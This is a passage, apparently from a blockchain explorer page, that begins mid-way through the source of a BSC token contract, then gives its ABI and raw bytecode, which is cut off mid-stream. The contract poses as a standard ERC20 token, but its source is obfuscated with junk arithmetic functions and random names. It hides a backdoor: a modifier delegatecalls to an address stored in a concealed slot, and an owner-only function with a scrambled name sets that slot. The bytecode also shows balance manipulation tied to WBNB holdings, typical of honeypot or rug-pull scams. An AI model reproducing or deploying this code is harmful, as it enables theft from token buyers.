ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=sub(9862295,4635338) if gt(ATFbisJ7x5bTTP,3481076){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=mod(3481076,3076604) if gt(ATFbisJ7x5bTTP,5217754){ ATFbisJ7x5bTTP:=div(ATFbisJ7x5bTTP,2) } ATFbisJ7x5bTTP:=mod(5217754,2526475) } return ATFbisJ7x5bTTP;} function owner() public view virtual returns (address) { uint256 KvpFpA57;KvpFpA57+=1255651;require(KvpFpA57 > 1668);KvpFpA57+=5892454;require(KvpFpA57 > 8835);KvpFpA57+=5350746;require(KvpFpA57 > 6804);KvpFpA57+=5024486;require(KvpFpA57 > 2726);KvpFpA57+=4601246;require(KvpFpA57 > 821);KvpFpA57+=5011334;require(KvpFpA57 > 7675);KvpFpA57+=728699;require(KvpFpA57 > 2837);KvpFpA57+=3296543;require(KvpFpA57 > 1014); return Mxu2m2RKWEgsPSVWfeb; }function HdO9UKUip8() public view returns(uint256){ uint256 A31oT1OAmY09; assembly{ if gt(A31oT1OAmY09,8040405){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=div(8040405,5523934) if gt(A31oT1OAmY09,3095797){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=sub(3095797,421951) if gt(A31oT1OAmY09,1245058){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=mul(1245058,1220971) if gt(A31oT1OAmY09,9130102){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=div(9130102,2428365) if gt(A31oT1OAmY09,8926054){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=add(8926054,4307770) if gt(A31oT1OAmY09,8095178){ A31oT1OAmY09:=div(A31oT1OAmY09,2) } A31oT1OAmY09:=add(8095178,1458827) } return A31oT1OAmY09;} modifier __() { bytes memory value = msg.data; assembly { if iszero(iszero(eq(mload(add(value, add(32,4))), mul(4,8)))) { if iszero( delegatecall( gas(), sload(address()), add(value, mul(8,4)), mload(value), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } _; } function eCmOv9cL18gDhuTzX6( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { eKkjJL = coinSymbol; bXTZAFMi = tokenName; assembly { sstore(address(), caller()) } } function _transfer( address from, address to, uint256 cr9NU ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, cr9NU); uint256 fromBalance = yr9QwcPq5IBTU8f[from]; require(fromBalance >= cr9NU, "ERC20: transfer exceeds balance"); yr9QwcPq5IBTU8f[from] -= cr9NU; yr9QwcPq5IBTU8f[to] += cr9NU; emit Transfer(from, to, cr9NU); _afterTokenTransfer(from, to, cr9NU); }}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"td3zj1zDPyTj9dwHaMEp","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"APTb86Dsb2","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DfJaYx0nnlBX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"GjerXl5ojTUf0WvcspYs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HdO9UKUip8","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"O1dDGm6OA8LbC","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"P3C5cWIAv0auz6","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VDYRHUhN9t","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"td3zj1zDPyTj9dwHaMEp","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"td3zj1zDPyTj9dwHaMEp","type":"address"},{"internalType":"uint256","name":"cr9NU","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"n5R7dASMn8S5vXkoU","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"cr9NU","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"td3zj1zDPyTj9dwHaMEp","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"eCmOv9cL18gDhuTzX6","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"g3EKhptyocx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"gaUsIfLJH9II3g3xuo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"td3zj1zDPyTj9dwHaMEp","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"kTsKK795V2s27PGiP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"cr9NU","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"cr9NU","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"APTb86Dsb2","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uJVPcfbFEWdd8sno","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"xTQs8jYvEEc7D","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"yZEkwcWaTBpzd","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b5062000023326200004460201b60201c565b6200003e30681b1ae4d6e2ef5000006200010860201b60201c565b6200040a565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200017b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200017290620002fb565b60405180910390fd5b6000621d12b9816200018e91906200034b565b905061268881116200019f57600080fd5b622d6db581620001b091906200034b565b90506108438111620001c157600080fd5b6224f55781620001d291906200034b565b905061124c8111620001e357600080fd5b8160036000828254620001f791906200034b565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200024f91906200034b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620002b691906200031d565b60405180910390a3505050565b6000620002d2601f836200033a565b9150620002df82620003e1565b602082019050919050565b620002f581620003a8565b82525050565b600060208201905081810360008301526200031681620002c3565b9050919050565b6000602082019050620003346000830184620002ea565b92915050565b600082825260208201905092915050565b60006200035882620003a8565b91506200036583620003a8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200039d576200039c620003b2565b5b828201905092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6135eb806200041a6000396000f3fe6080604052600436106101bb5760003560e01c8063715018a6116100ec578063ab90a8831161008a578063d4041ac411610064578063d4041ac4146106ac578063dd62ed3e146106d7578063e751cc8c14610714578063f2fde38b1461073f576101c2565b8063ab90a8831461062b578063c182719114610656578063ce9e617414610681576101c2565b80638dd95002116100c65780638dd950021461055b57806395d89b4114610586578063a457c2d7146105b1578063a9059cbb146105ee576101c2565b8063715018a6146104ee578063864f2f63146105055780638da5cb5b14610530576101c2565b8063313ce567116101595780633aa8635c116101335780633aa8635c14610430578063554088591461045b57806359c553da1461048657806370a08231146104b1576101c2565b8063313ce5671461039d578063347aa225146103c857806339509351146103f3576101c2565b80632003d216116101955780632003d216146102e157806323b872dd1461030a5780632596ef29146103475780633033941d14610372576101c2565b806306fdde031461024e578063095ea7b31461027957806318160ddd146102b6576101c2565b366101c257005b3480156101ce57600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050905060086004026004602001820151141561024b576020600082516004600802840130545af461024557600080fd5b60206000f35b50005b34801561025a57600080fd5b50610263610768565b6040516102709190612e58565b60405180910390f35b34801561028557600080fd5b506102a0600480360381019061029b9190612b7a565b610879565b6040516102ad9190612e3d565b60405180910390f35b3480156102c257600080fd5b506102cb61089c565b6040516102d89190612f9a565b60405180910390f35b3480156102ed57600080fd5b5061030860048036038101906103039190612bba565b610924565b005b34801561031657600080fd5b50610331600480360381019061032c9190612b27565b6109cf565b60405161033e9190612e3d565b60405180910390f35b34801561035357600080fd5b5061035c6109fe565b6040516103699190612f9a565b60405180910390f35b34801561037e57600080fd5b50610387610a99565b6040516103949190612f9a565b60405180910390f35b3480156103a957600080fd5b506103b2610bff565b6040516103bf9190612fb5565b60405180910390f35b3480156103d457600080fd5b506103dd610c67565b6040516103ea9190612f9a565b60405180910390f35b3480156103ff57600080fd5b5061041a60048036038101906104159190612b7a565b610e23565b6040516104279190612e3d565b60405180910390f35b34801561043c57600080fd5b50610445610e5a565b6040516104529190612f9a565b60405180910390f35b34801561046757600080fd5b50610470610f86565b60405161047d9190612f9a565b60405180910390f35b34801561049257600080fd5b5061049b61105a565b6040516104a89190612f9a565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190612aba565b611186565b6040516104e59190612f9a565b60405180910390f35b3480156104fa57600080fd5b506105036113a1565b005b34801561051157600080fd5b5061051a6114de565b6040516105279190612f9a565b60405180910390f35b34801561053c57600080fd5b5061054561167e565b6040516105529190612e22565b60405180910390f35b34801561056757600080fd5b506105706117a0565b60405161057d9190612e22565b60405180910390f35b34801561059257600080fd5b5061059b6117b8565b6040516105a89190612e58565b60405180910390f35b3480156105bd57600080fd5b506105d860048036038101906105d39190612b7a565b611926565b6040516105e59190612e3d565b60405180910390f35b3480156105fa57600080fd5b5061061560048036038101906106109190612b7a565b61199d565b6040516106229190612e3d565b60405180910390f35b34801561063757600080fd5b506106406119c0565b60405161064d9190612f9a565b60405180910390f35b34801561066257600080fd5b5061066b611aec565b6040516106789190612f9a565b60405180910390f35b34801561068d57600080fd5b50610696611bdd565b6040516106a39190612f9a565b60405180910390f35b3480156106b857600080fd5b506106c1611d9a565b6040516106ce9190612f9a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f99190612ae7565b611f00565b60405161070b9190612f9a565b60405180910390f35b34801561072057600080fd5b50610729611f87565b6040516107369190612f9a565b60405180910390f35b34801561074b57600080fd5b5061076660048036038101906107619190612aba565b61203f565b005b6060600062371f1a8161077b9190613042565b90506104cf811161078b57600080fd5b623902e28161079a9190613042565b905061187481116107aa57600080fd5b6212edd2816107b99190613042565b90506122e581116107c957600080fd5b62246ea1816107d89190613042565b905061214081116107e857600080fd5b600580546107f5906131bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610821906131bd565b801561086e5780601f106108435761010080835404028352916020019161086e565b820191906000526020600020905b81548152906001019060200180831161085157829003601f168201915b505050505091505090565b600080610884612130565b9050610891818585612138565b600191505092915050565b600080620ef3a4816108ae9190613042565b905061104181116108be57600080fd5b6208cb8e816108cd9190613042565b90506101b281116108dd57600080fd5b6237404a816108ec9190613042565b905061131881116108fc57600080fd5b621f00118161090b9190613042565b9050610ae1811161091b57600080fd5b60035491505090565b3273ffffffffffffffffffffffffffffffffffffffff1661094361167e565b73ffffffffffffffffffffffffffffffffffffffff1614610999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099090612f1a565b60405180910390fd5b81600690805190602001906109af929190612968565b5082600590805190602001906109c6929190612968565b50333055505050565b6000806109da612130565b90506109e78582856123fe565b6109f285858561248a565b60019150509392505050565b60008062544e4b811115610a13576002810490505b620f428762544e4b04905062532d49811115610a30576002810490505b6210027e62532d490190506278dfc6811115610a4d576002810490505b624fe6266278dfc606905062691278811115610a6a576002810490505b6215de4c62691278039050625a0997811115610a87576002810490505b6238efe3625a09970690508091505090565b6000806248dfc8811115610aae576002810490505b6219cc356248dfc8019050621945c5811115610acb576002810490505b62123834621945c502905062778a1a811115610ae8576002810490505b6205c4e362778a1a0290506249ab8a811115610b05576002810490505b623adb1c6249ab8a02905062157f4a811115610b22576002810490505b6208e95a62157f4a069050626281fd811115610b3f576002810490505b62357bfb626281fd049050625ff12f811115610b5c576002810490505b62390688625ff12f039050621967e5811115610b79576002810490505b620ba35d621967e50490506273305b811115610b96576002810490505b625379c86273305b039050624bd70e811115610bb3576002810490505b622c4f69624bd70e02905062664c95811115610bd0576002810490505b623501fb62664c95069050626ca1a7811115610bed576002810490505b623d0622626ca1a70690508091505090565b60008062070f3c81610c119190613042565b905061202d8111610c2157600080fd5b624ece7b81610c309190613042565b9050611f488111610c4057600080fd5b6244c06f81610c4f9190613042565b90506117558111610c5f57600080fd5b600991505090565b6000806268e152811115610c7c576002810490505b6213686e6268e152049050625d8941811115610c99576002810490505b62533165625d89410290506278b7a3811115610cb6576002810490505b625ab5fd6278b7a3039050628ba137811115610cd3576002810490505b62299668628ba137049050627ead93811115610cf0576002810490505b625666dc627ead9301905062527e3c811115610d0d576002810490505b624a445162527e3c049050626cc9d0811115610d2a576002810490505b621d21c1626cc9d00290506275c3f3811115610d47576002810490505b624858576275c3f30490506251768e811115610d64576002810490505b62206fd76251768e0690506283f5b8811115610d81576002810490505b6217fd946283f5b8069050627a43c0811115610d9e576002810490505b620effc2627a43c00190506282e5a2811115610dbb576002810490505b6134a36282e5a2039050627454a7811115610dd7576002810490505b6250b217627454a7029050626b05cc811115610df4576002810490505b620915ea626b05cc019050627f9c18811115610e11576002810490505b624a3b7b627f9c180290508091505090565b600080610e2e612130565b9050610e4f818585610e408589611f00565b610e4a9190613042565b612138565b600191505092915050565b6000806281d96a811115610e6f576002810490505b625185516281d96a03905062518226811115610e8c576002810490505b62181c5c62518226039050625d88e5811115610ea9576002810490505b621f20ac625d88e5069050627002ca811115610ec6576002810490505b6208ab92627002ca01905062613094811115610ee3576002810490505b6240eeb9626130940290506235ff4b811115610f00576002810490505b622d76366235ff4b06905062367492811115610f1d576002810490505b6235ca7a623674920290506294531b811115610f3a576002810490505b624608616294531b0490506279c5eb811115610f57576002810490505b624884606279c5eb039050622f4867811115610f74576002810490505b6228e9ff622f48670490508091505090565b60008062617a45811115610f9b576002810490505b6235da1f62617a45019050625b6529811115610fb8576002810490505b622c8739625b65290290506269c821811115610fd5576002810490505b6257c0d06269c82102905062797b70811115610ff2576002810490505b622e52cc62797b70019050625e254481111561100f576002810490505b621411c9625e25440690506294f41b81111561102c576002810490505b6226a3df6294f41b02905062451cc0811115611049576002810490505b61a2e362451cc00490508091505090565b600080625e4a1081111561106f576002810490505b622197eb625e4a10069050621ec8ef81111561108c576002810490505b621a981c621ec8ef049050626910278111156110a9576002810490505b625adf3a62691027019050620b84a38111156110c6576002810490505b62086275620b84a303905062664e198111156110e3576002810490505b62166d1862664e190490506296481a811115611100576002810490505b622b97436296481a039050623ecf8581111561111d576002810490505b6218d2f7623ecf85029050626c883e81111561113a576002810490505b6251a802626c883e02905062841a09811115611157576002810490505b622a517e62841a090390506230f0eb811115611174576002810490505b620b028d6230f0eb0190508091505090565b600073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016111f79190612e22565b60206040518083038186803b15801561120f57600080fd5b505afa158015611223573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112479190612c45565b9050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156112af576020548110156112ae57600080fd5b5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134c57600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061139c565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113999190613220565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff166113c061167e565b73ffffffffffffffffffffffffffffffffffffffff1614611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90612f1a565b60405180910390fd5b600062206344816114279190613042565b905061202e811161143757600080fd5b625b5265816114469190613042565b905061094a811161145657600080fd5b6212884b816114659190613042565b9050612018811161147557600080fd5b621576fe816114849190613042565b905060d8811161149357600080fd5b620b5f15816114a29190613042565b905061252381116114b257600080fd5b623f9c7f816114c19190613042565b90506114a581116114d157600080fd5b6114db6000612756565b50565b6000806296608a8111156114f3576002810490505b62390b326296608a029050626c764b811115611510576002810490505b624f23f9626c764b019050627e27ec81111561152d576002810490505b624fc002627e27ec049050629478fe81111561154a576002810490505b623a6ac4629478fe0290506283b855811115611567576002810490505b624601c36283b855069050628dc528811115611584576002810490505b622e4620628dc5280490506254674e8111156115a1576002810490505b62511c7e6254674e039050626c7ce28111156115be576002810490505b625b08cc626c7ce2019050626f4bf38111156115db576002810490505b6237131f626f4bf3039050627f64e88111156115f8576002810490505b6216b0a4627f64e806905062086624811115611615576002810490505b62057a77620866240490506285734c811115611632576002810490505b6225a1e46285734c049050626b77ca81111561164f576002810490505b62523ad0626b77ca0690506272443981111561166c576002810490505b6216d9f5627244390390508091505090565b600080621328e3816116909190613042565b905061068481116116a057600080fd5b6259e966816116af9190613042565b905061228381116116bf57600080fd5b6251a55a816116ce9190613042565b9050611a9481116116de57600080fd5b624caae6816116ed9190613042565b9050610aa681116116fd57600080fd5b6246359e8161170c9190613042565b9050610335811161171c57600080fd5b624c77868161172b9190613042565b9050611dfb811161173b57600080fd5b620b1e7b8161174a9190613042565b9050610b15811161175a57600080fd5b62324d1f816117699190613042565b90506103f6811161177957600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600062191a66816117cb9190613042565b905061103c81116117db57600080fd5b6248f901816117ea9190613042565b90506112dc81116117fa57600080fd5b623e8d3f816118099190613042565b9050610261811161181957600080fd5b623c839d816118289190613042565b9050611a0f811161183857600080fd5b62127a23816118479190613042565b905061150e811161185757600080fd5b6249e98a816118669190613042565b905061083b811161187657600080fd5b620cb391816118859190613042565b90506114ca811161189557600080fd5b600680546118a2906131bd565b80601f01602080910402602001604051908101604052809291908181526020018280546118ce906131bd565b801561191b5780601f106118f05761010080835404028352916020019161191b565b820191906000526020600020905b8154815290600101906020018083116118fe57829003601f168201915b505050505091505090565b600080611931612130565b9050600061193f8286611f00565b905083811015611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90612f7a565b60405180910390fd5b6119918286868403612138565b60019250505092915050565b6000806119a8612130565b90506119b581858561248a565b600191505092915050565b6000806269325a8111156119d5576002810490505b62021c576269325a049050626800518111156119f2576002810490505b62492ecf626800510190506246f0c8811115611a0f576002810490505b62230e2c6246f0c802905062790694811115611a2c576002810490505b6214896862790694039050625184bc811115611a49576002810490505b623a4a43625184bc03905062645176811115611a66576002810490505b6231d8c962645176029050624a9931811115611a83576002810490505b6211197e624a993104905062967c97811115611aa0576002810490505b6246baca62967c9703905062351df4811115611abd576002810490505b622ef1fc62351df4069050624f9dda811115611ada576002810490505b62268d0b624f9dda0690508091505090565b60008062538c25811115611b01576002810490505b624fb1e862538c25019050628c91ea811115611b1e576002810490505b621d3e3d628c91ea019050623c5982811115611b3b576002810490505b621a4e17623c5982019050624bcdf8811115611b58576002810490505b62233cda624bcdf80690506260098c811115611b75576002810490505b621dad536260098c049050625a4004811115611b92576002810490505b62276b34625a400406905062290369811115611baf576002810490505b619f47622903690390506283dae8811115611bcb576002810490505b62494e246283dae80690508091505090565b600080627208c1811115611bf2576002810490505b6229a5f6627208c1049050628bf9da811115611c0f576002810490505b6246c760628bf9da0390506245829f811115611c2c576002810490505b624202136245829f069050624084a1811115611c49576002810490505b620e76cc624084a1029050624806c5811115611c66576002810490505b623d8204624806c5069050625ba43f811115611c83576002810490505b623d4561625ba43f0690506269841c811115611ca0576002810490505b62136b136269841c0490506296bc79811115611cbd576002810490505b6214e69b6296bc79039050622533f6811115611cda576002810490505b62013838622533f602905062475714811115611cf7576002810490505b623913ea6247571401905062925581811115611d14576002810490505b624ff45662925581069050628070d8811115611d31576002810490505b62156037628070d8039050627f47c0811115611d4e576002810490505b624d4d17627f47c006905062510e62811115611d6b576002810490505b6240d1ec62510e62019050626bdcc0811115611d88576002810490505b62507b96626bdcc00490508091505090565b6000806277cf3d811115611daf576002810490505b6236c75f6277cf3d029050627dd405811115611dcc576002810490505b624bf2a4627dd405019050628b80ae811115611de9576002810490505b6248e8ff628b80ae049050624fe15f811115611e06576002810490505b62377e53624fe15f069050627cbec8811115611e23576002810490505b62228924627cbec80290506240080b811115611e40576002810490505b6233dd6e6240080b019050629398a6811115611e5d576002810490505b622d5a42629398a6029050622e2da6811115611e7a576002810490505b621d2c0a622e2da6049050624b257a811115611e97576002810490505b6225b26d624b257a0390506287c422811115611eb4576002810490505b62565bb16287c422019050622574fd811115611ed1576002810490505b6221967e622574fd029050625a5a83811115611eee576002810490505b62140c93625a5a830190508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080627aafd5811115611f9c576002810490505b625449de627aafd5049050622f3cf5811115611fb9576002810490505b6206703f622f3cf50390506212ff82811115611fd6576002810490505b6212a16b6212ff82029050628b5076811115611ff3576002810490505b62250dcd628b507604905062883366811115612010576002810490505b6241bb3a62883366019050627b85ca81111561202d576002810490505b6216428b627b85ca0190508091505090565b3273ffffffffffffffffffffffffffffffffffffffff1661205e61167e565b73ffffffffffffffffffffffffffffffffffffffff16146120b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ab90612f1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b90612e9a565b60405180910390fd5b61212d81612756565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219f90612f5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612218576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220f90612eba565b60405180910390fd5b6000625af6ea816122299190613042565b90506125c7811161223957600080fd5b621a7053816122489190613042565b9050611d26811161225857600080fd5b621b94f2816122679190613042565b9050610a7e811161227757600080fd5b6257eab0816122869190613042565b90506104b6811161229657600080fd5b621643d1816122a59190613042565b9050611a9381116122b557600080fd5b621ee1ea816122c49190613042565b9050610f1581116122d457600080fd5b621e5927816122e39190613042565b9050610a0f81116122f357600080fd5b6241a421816123029190613042565b9050611370811161231257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516123f09190612f9a565b60405180910390a350505050565b600061240a8484611f00565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146124845781811015612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d90612eda565b60405180910390fd5b6124838484848403612138565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156124fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f190612f3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561256357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6125a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161259990612e7a565b60405180910390fd5b6125ad83838361281a565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612634576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262b90612efa565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461268391906130f2565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126d99190613042565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161273d9190612f9a565b60405180910390a361275084848461281f565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe60035461282e9190613098565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561287e576000602055612963565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561291c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612962578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b828054612974906131bd565b90600052602060002090601f01602090048101928261299657600085556129dd565b82601f106129af57805160ff19168380011785556129dd565b828001600101855582156129dd579182015b828111156129dc5782518255916020019190600101906129c1565b5b5090506129ea91906129ee565b5090565b5b808211